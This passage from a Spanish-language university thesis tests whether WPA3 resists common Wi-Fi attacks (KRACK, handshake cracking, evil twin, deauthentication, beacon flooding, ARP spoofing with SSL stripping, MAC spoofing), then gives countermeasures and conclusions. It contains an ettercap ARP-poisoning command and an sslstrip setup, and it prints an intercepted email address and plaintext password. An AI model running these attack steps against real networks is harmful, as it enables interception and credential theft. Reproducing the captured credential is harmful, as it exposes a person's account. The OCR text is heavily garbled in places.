una variedad de vulnerabilidades encontrada en el protocolo de seguridad WPA2, con una
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nueva red creada con WPAS3 a traves de ataques simulados y controlados, evaluando de esta
manera la eficacia y robustez de WPA3 como protocolo de autenticacion avanzado. Teniendo
como misién determinar si de verdad el protocolo es verdaderamente resistente ante los
diversos ataques inalambricos y si representa una mejora sustancial en la seguridad. Esto
servira para determinar si la transicion a WPAS3 es una medida que vale la pena en términos
de proteccion de datos y privacidad en la Facultad de Ingenieria en Electronica y Redes de

Comunicacion en la Universidad Técnica del Norte.

4.2.1. Primera vulnerabilidad

Se procede a realizar el ataque para comprobar la primera vulnerabilidad hacia redes
inalambricas y conocer si WPA3 es capaz de ser lo suficientemente resistente ante este tipo
de ataques, por lo que es necesario tener instalado ciertas dependencias faltantes por mas que
el sistema se tenga actualizado tal como se observa en la Figura 144, de igual manera en la
Figura 145 se procede a la construccidn del script, en la Figura 146 se procede a la
compilacion de instancias, de igual manera se crea el entorno virtual como se observa en la
Figura 147 y finalmente se puede observar en la Figura 148 se cambid de permisos para

poder deshabilitar la desencriptacion del hardware.

Figura 144

Dependencias faltantes

/home/cristian/krackattacks-scripts/krackattack

t install libnl-3-dev libnl-genl-3-dev pkg-config libssl-dev net-tools git sysfsutils virtualenv]]

Figura 145

Construccion del script

ae radius rsn_supp tls utils wps fst; do [ -d $d ] &6 make -C $d clean; done
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Figura 146

Compilacion de instancias

.. /src/crypto/crypto_openssl.c H' H ‘HMAC_CTX_free' is deprecated: Since OpenSS
1014 | (
|
fusr/include/openssl/hmac
35 | 0 DEPRECATEDIN
|

Figura 147

Creacion del entorno virtual

/home/cristian/krackattacks-scripts/krackattack

2949873 /wheel-0.41.2-py3-none-any.

Figura 148

Cambio de permisos

Jhome/cristian/krackattacks-scripts/krackattack
777 disable-hwcrypto.sh

Jhome/cristian/krackattacks-scripts/krackattack

ed config file /etc/modprobe.d/nohwcrypt.conf to disable hardware decryption.
Reboot your computer to apply the changes.

Seguido de esto se verifica el nombre de la interfaz grafica como se ilustra en la
Figura 149 para poder modificarla luego en el archivo de configuracion de hostapd como se

ilustra en la Figura 150, de igual manera se cambia el SSID como la Figura 151 lo ilustra, se
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cambia el canal inalambrico como en la Figura 152 se observa y en la Figura 153 se tiene que

cambiar la clave precompartida.

Figura 149

Verificacion de interfaz inaldmbrica

wlan@ 802. 4GHz"
: : Access Point: B@:A7:B9:FC:C4:F3

dEm

Fragment thr:off

Powe
Link

Figura 150

Configuracion del archivo hostapd

]
interface=wlan®

Figura 151
Cambio de SSID
11

ssid=Prueba.wpa3

Figura 152

Cambio de canal

Figura 153

Cambio de contrasena
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Para el caso de la Figura 154 se observa la nueva red creada con hostpad la cual va
diferenciada de la original para el caso de estudio, una vez conectado a la red falsa ya se
procede a iniciar el script del krack attack como se ilustra en la Figura 155, dando como
resultado la Figura 156 en la que el dispositivo conectado con WPAS3 es invulnerable a este

ataque.

Figura 154

Creacion de la nueva red falsa

Wi-Fi

Asistente de Wi-Fi

Pruebawpa3

PruebaWPA3 sat

Figura 155

Inicio del script

@parrot
#
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Figura 156

Dispositivo con WPA3 no vulnerable

4.2.2. Segunda vulnerabilidad

Para esta vulnerabilidad lo primero es tener a la tarjeta de red en modo monitor como
se observa en la Figura 157, para luego realizar una auditoria en la red con los APs al alcance
de la tarjeta de red como se observa en la Figura 158 donde se elige el objetivo inalambrico

con la seguridad WPAS3.

Figura 157

Tarjeta de red modo monitor

wlanlmon IEEE 882.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=2@ dBm
Retry short limit:7  RTS thr:off Fragment thr:off
Power Management:off

Figura 158

Auditoria de redes

CH 124 ][ Elapsed: 1 min ][ 2023-09-05 10:20
PWR Beacons #Data, #/s C v ENC CIPHER AUTH ESSID
WPA2 CCM PSK

NETLIFE-VLTCEJA

PLUS YARIKS BOUTIQUE 2 5G
SAMAWA HOTEL 5G

ACSAA 5G

AP CENTRO LAGOS PINOS
PLUS_SNEAKER_5G

NETLIFE NICOLE 5G
<length: 0>

<length: 0>

34
E]
3

N
O o

W
N

8]
P




Con el objetivo seleccionado se procede a realizar una auditoria mas especifica
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incluyendo la direccion MAC de la victima, el canal inalambrico y guardando la captura del

handshake en un documento pcap como se observa en la Figura 159, para despues intentar

que el dispositivo se desautentique y de esta manera obtener el handshake como se ilustra en

la Figura 160, y en la Figura 161 se observa que el apreton de manos es obtenido de la

direccion MAC objetivo.

Figura 159

Seleccion de objetivo

Figura 160

Desautenticacion de objetivo

@parrot
#

Figura 161

Dispositivos asociados

][ Elapsed:

BO:A7:B9:FC:C4:F2
BSSID

BO:A7:B9:FC:C4:F2

36 s ][ 2023-09-05 10:23 ][ WPA handshake: BO:A7:B9:FC:C4:F2
PWR RXQ Beacons #Data, #/s (CH MB  ENC CIPHER AUTH ESSID
-32 100 404 11768 0 157 866 WPA3 CCMP  SAE Prueba.WPA3

STATION PWR Rate Lost Frames Notes Probes

36:AF:87:FE:74:FO0 -36 be- be 0 12015 PMKID Prueba.WPA3
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En la Figura 162 se observa que se realiza el ataque de aircrack para la obtencion de
credenciales con la captura del handshake donde finalmente en la Figura 163 ilustra que el

protocolo WPA3 es invulnerable a este tipo de ataque por lo que aborta el proceso al instante.

Figura 162

Obtencidn de credenciales

@pa rrot
#

Figura 163

WPAZ3 resistente

4.2.3. Tercera vulnerabilidad
Para esta vulnerabilidad se hace uso de la herramienta airgeddon por lo que lo primero
es dar paso a abrir la herramienta como se puede observar en la Figura 164, para después

elegir la tarjeta de red con la que se va a realizar el ataque como se observa en la Figura 165.

Figura 164

Inicio airgeddon

Idioma Espafiol del S.0. detectado. Soportade por el script. Se cambid automdticamente
Version de bash (5.1.4(1)-release) aceptada. Minimo requerido versién: 4.2

Permisos de root correctamente detectados

bian" Gentoo" "Kali" "Kali arm" "Manjaro" "Mint" "OpenMandriva" "Parrot" "P
"Ubuntu'

l script requiere
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Figura 165

Seleccidn de tarjeta de red

Selecciona una interfaz para trabajar con ella:

/ Chipset:
Chipset:

Se despliega el men( de opciones para realizar el ataque de gemelo malvado siendo la
opcion 9 que nos compete ya que realiza el ataque con un portal cautivo para ingreso de
credenciales como se observa en la Figura 166, en la Figura 167 se observa el filtro de
busqueda incluido WPA3 en el que sale la advertencia que sélo soporta redes WPA/WPA2,
en la Figura 168 comienza el escaneo de redes donde aparece la red con WPAZ3, pero al
momento de tratar de seleccionar la red no es posible debido a que no se puede realizar el

ataque a redes con WPA3 como se ilustra en la Figura 169.

Figura 166

Menu de Evil Twin

(sin sniffing, s

(con sniffing)

(sin sniffing,
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Figura 167

Exploracion de objetivos

Se va a realizar una exploracion en busca de objetivos...

Elegida opcidn de exploracion para buscar objetives (modo moniter requerido)

La interfaz seleccionada wlp2s@mon esta en modo monitor. La exploracién se puede realizar

Filtro WPA/WPA2/WPA3 activado en escaneo. Una vez empezado, pulse [Ctrl4C] para pararlo...

Figura 168

Escaneo de redes

CH 169 ][ Elapsed o 10548
PUR : #Dlata, #/s CH ME  EMC CIPHER AUTH ESSID

0
1
1
4
1
0

PRy

Figura 169

Obijetivo no vulnerable

41)* 0C:41:E9:5E:7A:68 P % WPA2 ONFIBER-CALLE BOLIVAR
42)* 28:DO:F5:CC:77:3F 13 % WPA2 ONFIBER ELIAM SISA




4.2 4. Cuarta vulnerabilidad
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Para la realizacion de esta vulnerabilidad se pone en uso la herramienta wifiphisher la

que permite crear un AP falso con las mismas caracteristicas que una red objetivo obteniendo

de esta manera las credenciales, lo primero que se realiza es el escaneo de la red que se desea

suplantar como se observa en la Figura 170, al cabo de un tiempo y las redes escaneadas no

aparece en ningun momento la red configurada con el protocolo WPAS3 siendo esta inmune a

este ataque como se observa en la Figura 171.

Figura 170

Inicio wifiphisher

Options: [Esc] Quit [Up Arrow] Move Up [Down Arrow] Move Down

ESSID BSSID CH PWR ENCR

NETLIFE NICOLE
CONSULTORIO
CLIENTES

DSComp (MICROELECTRONICA)
EME

NETLIFE SAMAWA
CNT-EAMILIA SANCHEZ
NETLIFE NICOLE
GANOBLAN

FRANCISCO _CNT
ADM-CRCO
PLUS_SNEAKER
Prueba.WPA3-2.4GHz

0% WPA2/WPS
0% WPA2/WPS
0%  WPA2
0%  WPA2
0% WPA2/WPS
0% WPA2/WPS
0%  WPA2
0% WPA2/WPS
0% WPA2/WPS
0%  WPA2
0% WPA2/WPS
0% WPA2/WPS
0%  WPA

HOPRURRWWNWWRE

Figura 171

Imposible de obtencidn de credenciales

CLIENTS VENDOR

Unknown
Unknown
Unknown
Unknown
Unknown
Unknown
zte

Unknown
Unknown
Unknown
Unknown
Unknown
Unknown
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4.2.5. Quinta vulnerabilidad

Para esta vulnerabilidad se hace uso de técnicas de diccionario y fuerza bruta por lo
que luego de obtener cierta informacion se crea los diccionarios para tratar de realizar el
ataque de fuerza bruta con la herramienta fern wifi cracker como se observa en la Figura 172,
en la Figura 173 se observa que el ataque no es posible de realizar el ataque ya que WPAS3 es

invulnerable a este tipo de ataques por mas que la contrasefia sea sencilla.

Figura 172

Herramienta fern wifi cracker

Fern WIFI Cracker

Figura 173

Seleccion de objetivo
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4.2.6. Sexta vulnerabilidad

Para la realizacion de esta vulnerabilidad de desautenticacion es primordial encontrar
la informacion necesaria de la red objetivo para lo cual se realiza una auditoria para
identificar la direccion MAC del AP objetivo como se ilustra en la Figura 174, luego con una
auditoria mas especifica se obtiene la informacion de las direcciones MAC conectadas a ese

AP como se observa en la Figura 175.

Figura 174

Escaneo de redes

CH 114 ][ Elapsed: 12 s ][ 2023-09-05 11:03

PWR Beacons #Data, #/s “ ENC CIPHER AUTH ESSID

WPA2 CCMP  PSK <length: 0>

WPA3 CCMP  SAE Prueba.WPA3

WPA2 CCMP  PSK DSComp (MICROELECTRONICA)
WPA2 CCMP  PSK NETLIFE-VLTCEJA

WPA2 CCMP  PSK PLUS_YARIKS_BOUTIQUE 2_5G
WPA2 CCMP  PSK ACSAA 5G

WPA2 CCMP  PSK SAMAWA HOTEL 5G

WPA2 CCMP  PSK PLUS_SNEAKER_5G

WPA2 CCMP  PSK PLUS_RED_HOGAR

WPA2 CCMP  PSK <length: 0>

WPA2 CCMP  PSK <length: 0>

WPA2 CCMP  PSK NETLIFE NICOLE 5G

WPA2 CCMP  PSK <length: 0>

[cNoNoNoNoNolololololt ool
[cNcNoNoNoNoNoNoNoNoNoNolol

Figura 175
Dispositivos asociados
CH 157 ][ Elapsed: 6 s ][ 2023-09-05 11:05

BSSID PWR RXQ Beacons #Data, #/s CH MB  ENC CIPHER AUTH ESSID

BO:A7:B9:FC:C4:F2 -28 100 71 7 1 157 866 WPA3 CCMP  SAE Prueba.WPA3

BSSID STATION PWR Rate Lost Frames Notes Probes

BO:A7:B9:FC:C4:F2 36:AF:87:FE:74:F0 -37 be- 6e

Con esta informacion anotada se procede a crear un archivo de texto en blanco como
se observa en la Figura 176 para posteriormente copiar la direccion MAC del objetivo y
pegarla en el documento de texto para de esta manera crear la lista negra como se ilustra en la

Figura 177 y evitar que estas direcciones MAC o clientes tengan acceso a los recursos de red,
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en la Figura 178 se observa la realizacion del ataque de desautenticacion en el que se bloquea
a todas las direcciones MAC anotadas en la blacklist, siendo que los clientes que se
encuentren conectados a la red con el protocolo WPA3 son invulnerables teniendo conexion

en todo momento a diferencia de las redes con WPAZ2.

Figura 176

Creacion de blacklist

@parrot

#

Figura 177

MAC de dispositivo asociado

Figura 178

Ejecucion de ataque

@parrot
#

4.2.7. Séptima vulnerabilidad

En la ejecucidn de este ataque con la herramienta bettercap es necesario conocer las
credenciales de la red y estar conectado a la red que se desea atacar debido a que este ataque
es interno, por lo que una vez conectado a la red objetivo como se observa en la Figura 179 se
procede al ataque para redirigir a otra pagina vulnerable y de esta manera obtener las

credenciales como se pudo observar en el anexo 7 y como la Figura 180 muestra este ataque
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no fue posible dado que no se pudo redirigir al cliente a la pagina destino vulnerable y no se

pudo obtener las credenciales.

Figura 179

Interfaz de red

Figura 180

Ejecucion de ataque

> 192.168.9.118
err
inf
err
err

inf

> 192.168.9.118

4.2.8. Octava vulnerabilidad

Esta vulnerabilidad es una de las pocas que se pudo realizar a la red inalambrica con
WPAZ3 dado que hace uso Unicamente de la tarjeta de red inalambrica Alfa la cual realiza una
inundacion de tramas beacon, primero es necesario tener la tarjeta de red en modo monitor
como se observa en la Figura 181, al momento de realizar el ataque configura a la tarjeta de

red para que pueda inundar de SSID falsos para que el cliente no pueda conectarse a la red
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auténtica como se observa en la Figura 182, estas SSID falsas dependera del atacante siendo

el nimero que desee provocando de esta manera un tipo de denegacion de servicio.

Figura 181

Ejecucion de mdk3

@parrot
#

Figura 182

Inundacion de tramas

= K

NETLIFE-VLTCEJA

= 0nd

OxiG_pL-C<x18l

ONFIBER-CALLE BOLIVAR

PruebaWPA3-246Hz

iASIP8 br I YuluovHOr

0=OU\UP&K jCLIKCKi

peOVW)_8X%<

teJOP@ M=ti5VPHR!

udiozwf[122X6=Y1Z(dc0B(JOKBIG-

®
®
®
®
®
®
®
®
®
®
®

JBaZ W 2I0KF W8 04

$oyGH(EOI@IoAP'Y

&ULIrn jRoeuR A>-ogoHw@1 YQuQSuaft

408 JUIBFHSOP

FSoRL a5 I b f

{3-rc

5(q1 Y#18>yF KUTLA?PBs T=q[PvS[8C

Pregp)\MiY>UaTH j20-e@MM_Q

a(lJs ? Qu@Qletk j

B@327$ K\

CiATzasviow 5 LTy

of (E) B e el el el e (O el e




162

4.2.9. Novena vulnerabilidad
Para esta vulnerabilidad se hace uso de la herramienta Ettercap en su interfaz grafica
de igual manera para este ataque es estar adentro de la red por lo que es necesario seleccionar

la interfaz de red inaldmbrica como se observa en la Figura 183.

Figura 183

Inicio de herramienta

Ettercap
0.831

Sniffing at startup .

Primary Interface  wlp2s0

Bridged sniffing o

Bridged Interface

Dando inicio de la herramienta es posible observar una lista de host disponibles en esa
red como se observa en la Figura 184, teniendo en cuenta esto se debe seleccionar los
objetivos como referencia el primer objetivo debe ser el cliente que se desea atacar y como

segundo objetivo el gateway que existe en la red como se ilustra en la Figura 185.

Figura 184

Seleccion de objetivos

IP Address MAC Address = Description

87:FE:74:FO0
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Figura 185

Obijetivos

Teniendo los objetivos claros se procede a realiza el ataque de ARP Spoofing hacia
los dos objetivos cada una con su respectiva direccion MAC como se observa en la Figura
186, es aqui en toca la espera dado que el cliente debe entrar a paginas web no seguras o
HTTP para la obtencién de credenciales como se observa en la Figura 187, cabe aclarar que
esta vulnerabilidad es deficiente actualmente dado que la mayoria de sitios web ya poseen
certificados en sus paginas web haciéndolas HTTPS por lo que las credenciales ya no son

posibles de encontrar.

Figura 186

Envenenamiento de ARP

Figura 187

Intercepcion de credenciales
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4.2.10. Décima vulnerabilidad

Para este caso se hace uso de la bien conocida herramienta de sniffer como wireshark
que en manos de un experto el trafico que cruza por ahi es oro puro. Para realizar este ataque
se debe tener la conexion a la red del mismo cliente que va a ser la victima como se observa
en la Figura 188, con el comando “ettercap -Tq -M arp:remote -i wlan0 -S /IP-del-gateway//
/1P-del-cliente//”” donde ettercap es la herramienta, -Tq es para que la captura de datos sea
solo en texto plano, -M el tipo de ataque que se utiliza siendo el ARP spoofing, -i la interfaz

de red y -S para definir las direcciones IPs tal como se observa en la Figura 189.

Figura 188

Conexién a la red WPA3

Jhome/cristian

lo no wireless exten

eth@ no wireless exten

wlan@ TEEE 882.11
Mode:Managed Frequency Access Point: B@:A7:B9:FC:C4:F2
Bit Rate=866.7 Mb/s  Tx-Power=2:
Retry short limit:7  RTS r: Fragment thr:off
Encryption key:off
Power Management:on
Link Quality=78/7@ Signal level=-27 dEm
Rx invalid nwid:® Rx invalid crypt:® Rx invalid frag:@
Tx excessive retries:® Invalid misc:39 Missed beacon:@

Figura 189

Herramienta ettercap

/home/cristian

ettercap ©.8.3.1 copyright 2001-2820 Ettercap Development Team

Listening on:
wlan@ — 44

fe8@:: Bfc@:f9a5:

Privileges dropped to EUID @ EGID @ ...
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protocol dissectors
ports monitored
3@ mac vendor fingerprint

4]

tcp 05 fingerprint
known services
no scripts were specified, not starting up!

— k= RJ

hosts) ...

LA

r _— | 1en.0e %
2 hosts added to the hosts list...
ARP poisoning victims:

GROUP 1 : 192.168.9.1 BO:AT:B9:FC:C4:F4

GROUP 2 : 192.168.9.212 36:AF:B7:FE:74:!F0@
Starting Unified i

En la Figura 190 se debe instalar la herramienta mitmproxy que es un proxy
interceptor interactivo compatible con SSL/TLS con una interfaz de consola para HTTP/1,
HTTP/2 y WebSockets, dentro de esta herramienta hay mitmdump siendo esta la linea de

comandos de mitmproxy.
Figura 190

Herramienta mitmdump

/home/cristian
-5 /home/cristian/Escritorio/sslstrip.py -m transparent

Loading script /home/cristian/Escritorio/sslstrip.py
Transparent Proxy listening at *:8080.

En la Figura 191 se tiene la ejecucion de ambas herramientas las cuales realiza el
proceso de degradacién de HTTPS a HTTP y la otra en busqueda de las credenciales
ingresadas en alguna pagina web, en el dispositivo es posible observar la pagina web
degradada a HTTP dado que aparece como sitio web no seguro como se observa en la Figura
192, con la ayuda de wireshark que es un sniffer potente al momento de degradar las paginas
web es posible la obtencion de credenciales y con ayuda del filtro HTTP en wireshark es

posible encontrar estos datos como se observa en la Figura 193 y finalmente en la Figura 194
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es posible ver una trama en la cual se observa las credenciales en texto plano capturando asi

la informacién necesaria.

Figura 191

Ejecucion de las herramientas

server connect 19@.15.
/home/cristian
emote -i w e -5 9. /192.168.9

ettercap 0.8.3.1 copyright 2 t y L 1 t 1 i
/190.15.133.224/p

Listening on:

monitored
c vendor fir

server disconn
100.00
ient disconn

2 hosts added to the hosts 1i

ARP poisoning vic
server conn 1 9.
39.103.17/generate204
eb
server disconnect 181

nt disconn
2 4.8 client connect
Text only In iv [ server connect 181.39.
it 'h' for inline G 39.103.24/generate204
204 No C e 1]
HTTP : 201.159. cVE H . . Seb: [ server disconni
shr9 INFO: http i 0
CONTENT: login_ E .edu.e s b i : [19 9 8] cli disconn
95login_submit g [ ] client discenn
0 | er disconn

Figura 192

Pagina degrada

12:15 ©

O A repositorioutneduec

Entrar en DSpace

1ario nuev waa dic para registy
Introduzca su dreccion de correo electronico o nombr
Direccion de correo electronico

cshernandezr@utneduec

Contrasefia




167

Figura 193

Wireshark con el filtro de HTTP

Source Destination Protocol Length Info
988 36.057505735 192.168.9.212 132.145.205.8 HTTP 1443 POST /ords/wwv_flow.accept HTTP/1.1 (application/x-www-form-urlencoded)

4416 351.245630178 192.168.9.212 201.159.223.64 HTTP 1254 POST /password-login HTTP/1.1 (application/x-www-form-urlencoded)
40458 1350.8214215.. 192.168.9.212 190.15.133.224 HTTP 735 POST /portafolios/ HTTP/1.1 (application/x-www-form-urlencoded)
48618 1372.2878001.. 192.168.9.212 1960.15.133.224 HTTP 735 POST /portafolios/ HTTP/1.1 (application/x-www-form-urlencoded)
40685 1379.9674907.. 192.168.9.212 190.15.133.224 HTTP 735 POST /portafolios/ HTTP/1.1 (application/x-www-form-urlencoded)
40943 1403.6392929.. 192.168.9.212 190.15.133.224 HTTP 735 POST /portafolios/ HTTP/1.1 (application/x-www-form-urlencoded)
48997 1415.2962985.. 192.168.9.212 190.15.133.224 HTTP 735 POST /portafolios/ HTTP/1.1 (application/x-www-form-urlencoded)

Figura 194

Obtencidn de credenciales

( s captured (5886 bits) o
Ethernet II, : a7 i }, Dst: IntelCor 8
Internet Protocol Version 4, Src: 212, Dst: 190.15.133.224
Transmission Control Protocol, Src Port: 37864, Dst Port: 8@, Seq: 1, Ack: 1,

HTML Form URL Encoded: application/x-www-form-urlencoded

~ Form item: suario" = "cshernandezr@utn.edu.ec"
Value:

- Form item: 0 = "KSMJ7-pRT#"
Key: cont E
Value: KSMJ7-pRT#

4.2.11. Undécima vulnerabilidad

Con esta vulnerabilidad es posible cambiar la direccion MAC de un dispositivo
inalambrico, la direccion MAC es un identificado Unico en el mundo y poder cambiarla
posibilita diversos ataques con una direccién MAC falsificada tales como acceder a redes
abiertas, evadir filtros MAC, ataques de hombre en el medio, captura de trafico, anonimato
temporal. Tal como en la Figura 195 se puede verificar la direccion MAC permanente de la
tarjeta de red, y en la Figura 196 se puede verificar la direccion MAC alterada ya sea una
direccion MAC aleatoria o puede ser una direccion MAC personalizada de un cliente veridico

en una red en especifico.

Figura 195

MAC permanente

1-1 @parrot
#
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Figura 196

MAC cambiada

Una vez finalizada la realizacion de las pruebas mediante el uso de herramientas que
permiten conocer el estado de la red y si es posible quebrantar su seguridad se procede a
realizar una tabla de resumen sobre el impacto tanto en el anterior protocolo de seguridad

WPA2 comparando con el nuevo protocolo WPA3.

Tabla 18

Resumen de ataques

Impactoen  Impacto en

Ataques WPA2 WPA3 Observacion
Ao M B A M B
WPA3 implementa el cifrado
individualizado por dispositivo,
KRACK mitigando de esta manera la

posibilidad de explotar la
vulnerabilidad como KRACK.

WPA3 mejora la autenticacion
mediante SAE, dificultando la
ejecucion a este tipo de ataques.

Fuerza Bruta basado
en Handshake

WPAZ3 introduce proteccién
contra redes mejoradas
(Enhanced Open) ademas de
WPAS3-Enterprise
proporcionando autenticacién
mas robusta, reduciendo el riesgo
de conexion a APs maliciosos.

Gemelo Malvado

WPAZ3 proporciona autenticacion
mas fuerte y protecciones contra
ataques de phishing, lo que

Suplantacién de
Identidad
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dificulta la suplantacién respecto
a WPA2.

La autenticacién mejorada de
WPAZ3 dificulta este tipo de
ataques llegando al punto de ser
inmune.

Diccionario y Fuerza
Bruta

WPAZ3 incluye mejoras para la
deteccidn y mitigacion de ataques
de desautenticacion, proporciona
mayor robustez en la gestion de
la conexion.

Desautenticacion y
Desasociacion

WPAZ3 incorpora mejoras en la

Inyeccion y proteccion de trafico con el modo
Manipulacién de de cifrado de 192 bits, que
Tréfico dificulta la inyeccion y

manipulacion de datos.

WPAZ3 incluye medidas de
proteccién contra inundaciones
de tramas garantizando una
mayor disponibilidad de red.

Inundacion de
Tramas beacon/probe

WPAS3 mejora la autenticacion y
cifrado dificultando la captura 'y
reenvio de paguetes en
comparacion a WPA2.

Captura y Reenvio

WPA3 mejora la proteccion del
trafico, teniendo mayor
privacidad en la comunicacion al
utilizar este protocolo.

Sniffer de Paquetes

WPA3 mejora respecto a WPA2
contra ataques de suplantacién
dificultando la ejecucién de este
ataque.

Suplantacion MAC

Nota. Referente al impacto: A=Alto, M=Medio y B=Bajo

4.3. Resistencia y contramedidas para WPA3
Tras la realizacién de la simulacion de la red inalambrica 802.11ac, se llevo6 a cabo un
analisis de las vulnerabilidades en el protocolo WPA3 esto para evaluar su robustez y

seguridad, dando como resultado los siguientes puntos:
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> Resistencia a ataques de fuerza bruta

De igual manera se pudo comprobar la capacidad de WPA3 para resistir ataques de
fuerza bruta, donde un atacante intenta descubrir la contrasefia probando todas las posibles
combinaciones. Los resultados demostraron que WPAS es altamente resistente a este tipo de
ataques debido a su uso de protocolos de autenticacion més sélidos y al uso del protocolo

Dragonfly, que dificulta enormemente el calculo de claves precompartidas.

> Proteccion contra ataques de diccionarios

Se evaluo la capacidad de WPA3 para resistir ataques de diccionario, en los cuales el
atacante utiliza una lista predefinida de contrasefias comunes para intentar acceder a la red.
Los resultados mostraron que WPAS3 es efectivo en la prevencion de estos ataques debido a la
inclusién de contramedidas, como el bloqueo temporal de cuentas después de varios intentos

fallidos de autenticacion.

> Resistencia al ataque de desautenticacion

Se probd la capacidad de WPA3 para defenderse contra ataques de desautenticacion,
donde el atacante intenta forzar a los clientes legitimos a desconectarse de la red. Los
resultados indicaron que WPAS3 ofrece una mayor proteccion contra este tipo de ataques en
comparacion con versiones anteriores de WPA, gracias a la incorporacion de funciones de

seguridad mejorada.

» Evaluacion de la robustez de cifrado

Se examind la robustez del cifrado empleado por WPA3 (AES-CCMP) frente a
posibles ataques de criptoanalisis. Los resultados demostraron que AES-CCMP sigue siendo
un cifrado solido y bien establecido, lo que garantiza la confidencialidad de los datos

transmitidos.
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> Resistencia a ataques de retransmision

Se investigo la resistencia de WPA3 ante ataques de retransmision, en los cuales el
atacante intenta interceptar y retransmitir datos entre el cliente y el punto de acceso. Los
resultados revelaron que WPAS3 incluye medidas de proteccidn, como el uso de Secure

Bootstrapping, para mitigar este tipo de ataques.
Contramedidas para WPA3

v’ Para el ataque Dragonblood se debe actualizar a la Gltima version de WPA3 que
contenga las correcciones para esta vulnerabilidad, o deshabilitar la negociacion de
claves fuera de banda.

v’ Para el ataque Dragonfly deshabilitar la opcion de autenticacion simultanea de
multiples contrasefas y utilizar una contrasefia larga y compleja.

v’ Para el ataque de SAE fuera de rango implementar medidas de proteccién en la red
inalambrica, como la limitacion del alcance de la red y la implementacidn de filtros de
direccion MAC.

v’ Para el ataque de downgrade de PMF habilitar la funcion de proteccién contra ataques
de downgrade de PMF y deshabilitar la negociacién de cifrado TKIP.

v’ Para el ataque de reasociacién rapida deshabilitar esta funcién o habilitar la
autenticacion de AP. También se puede limitar el uso de las redes publicas y utilizar

una red privada virtual (VPN) para proteger la conexion.
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CONCLUSIONES Y RECOMENDACIONES

Conclusiones

WPA3 demuestra ser mejor que su antecesor en el tema de seguridad, dado que
implementa un cifrado individualizado por dispositivo, mejoras en la autenticacion, deteccion
y mitigacion de ataques lo que fortalece la seguridad global en redes inalambricas y sobre
todo en entornos empresariales o educativos evitando robo de informacion tal como quedd

demostrado en la investigacion.

Se llevaron a cabo pruebas utilizando la herramienta Iperf para evaluar el rendimiento
en distintos anchos de canal proporcionados por Wi-Fi5 incluyendo 20MHz, 40MHz, 80MHz
e incluso 160MHz. Los resultados revelaron que la banda de 160MHz supera a los anteriores,
logrando una notable reduccion en la tasa de pérdida de paquetes. Sin embargo, es importante
destacar que, a pesar de esta mejora, no se recomienda de manera generalizada su uso debido
al ancho de frecuencia que requiere. En la practica, trabajar con anchos de canal de 40MHz o

80MHz se considera mas que suficiente para obtener un rendimiento 6ptimo.

El empleo del estdndar IEEE 802.11AC en redes inaldmbricas ha introducido la
tecnologia MU-MIMO, que posibilita la combinacién de multiples antenas de transmision y
recepcion. Esta capacidad permite la transmision simultanea de una mayor cantidad de datos
a través del mismo canal, optimizando la eficiencia de la red. Asimismo, gracias a la
implementacion de Wi-Fi 5 (802.11AC), se ha facilitado la conexion de un mayor nimero de
usuarios en dispositivos inalambricos. La presencia de diversos puntos de acceso contribuye a
mejorar la conectividad en la red, ofreciendo asi un beneficio sustancial en términos de

rendimiento y capacidad.

Una red inalambrica desprovista de las medidas de seguridad adecuadas puede

equipararse a una casa con la puerta abierta. En este sentido, las redes inalambricas no
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seguras exponen la informacion a riesgos, ya que no cifran los datos utilizados, brindando a
un potencial atacante la oportunidad de comprometer la privacidad del usuario. Es vital
reconocer que, al igual que en la vida cotidiana, las puertas pueden ser forzadas y esto se
refleja en vulnerabilidades incluso en estandares de seguridad robustos como WPAZ2. Es por
ello por lo que la efectividad de la seguridad radica en la implementacion de medidas sélidas.
Un ejemplo destacado es WPA3, que ha demostrado ser mas seguro y resistente,
proporcionando una capa adicional de proteccion para prevenir cualquier intento de robo de
informacidn. La eleccion y la implementacion adecuada de medidas de seguridad resultan

cruciales para mitigar los riesgos asociados con la utilizacién de redes inalambricas.

El protocolo WPA2 mantiene una seguridad robusta y dificil de descifrar cuando se
siguen las mejores practicas de Wi-Fi Alliance, que incluyen el uso de una contrasefia sélida
con una combinacion de caracteres alfanuméricos y de puntuacion, mayusculas y mindsculas,
con una longitud de 20 caracteres 0 mas. Sin embargo, debido a la falta de conocimiento
general sobre estas practicas de seguridad, se sugiere que WPA3 con autenticacion SAE
representa una opcion avanzada, ya que elimina la necesidad de claves extremadamente
complejas. Aun asi, es importante destacar que WPA2-Enterprise ofrece un nivel de
seguridad casi equivalente al de WPA3-Enterprise en términos de autenticacion 802.1X/EAP.
La eleccidn entre estos protocolos depende de la conveniencia y la necesidad especifica de la
seguridad, considerando tanto la implementacion de medidas mas rigurosas como la

experiencia del usuario.

El protocolo de autenticacion RADIUS permite establecer un control de acceso
efectivo en redes inalambricas al proporcionar seguridad durante la validacion de usuarios
inalambricos a través de sus caracteristicas AAA (Autenticacion, Autorizacion, Registro). En
este contexto, el software Freeradius se presenta como una herramienta valiosa para la

investigacion en la realizacion de pruebas, al ser un software libre, gratuito y versatil que no
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requiere un consumo significativo de recursos. Ademas, destaca por su amplia compatibilidad
con diversos protocolos de autenticacion y su soporte para diversas bases de datos, facilitando

asi la evaluacion del funcionamiento del protocolo RADIUS en entornos de prueba.

La vulnerabilidad KRACK requiere una atencion integral en ambas partes de una
conexion Wi-Fi, ya que explota una deficiencia en la implementacion del estandar Wi-Fi. A
pesar de que numerosas empresas han emitido parches para abordar esta vulnerabilidad, el
verdadero desafio recae en el usuario, quien debe asegurarse de que dichos parches sean
aplicados. En ausencia de esta medida, la seguridad y privacidad de los dispositivos siguen
expuestas y vulnerables mientras se llevan a cabo transmisiones a través de Wi-Fi. La
importancia de mantener actualizados los dispositivos y sistemas con los ultimos parches de
seguridad se convierte, por lo tanto, en un aspecto critico para salvaguardar la integridad de la

conexion y proteger la informacidn transmitida.

Recomendaciones

Para el caso de redes empresariales o universitarios es necesario realizar una
configuracién de WPA3-Enterprise el cual ofrece mayor autenticacion mediante EAP, siendo
esta opcidn importante para la proteccion de redes inalambricas grandes contra amenazas
avanzadas, ademas se puede tener una gestion de credenciales mas eficiente garantizando la

integridad y confidencialidad.

Para el disefio de una red inalambrica se debe tener en cuenta muchos factores tales
como la cantidad de usuarios y posible crecimiento, el area de cobertura, asi como la
distribucion que van a tener los access points para un buen desempefio y buena cobertura

siendo lo méas importante para buscar la optimizacion y la calidad del servicio.

Limitar el &rea de cobertura de la red inalambrica presenta una medida efectiva para

reducir la posibilidad de ataques, ya que implica que los potenciales atacantes deben
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encontrarse fisicamente dentro del radio de cobertura para intentar llevar a cabo sus ataques.
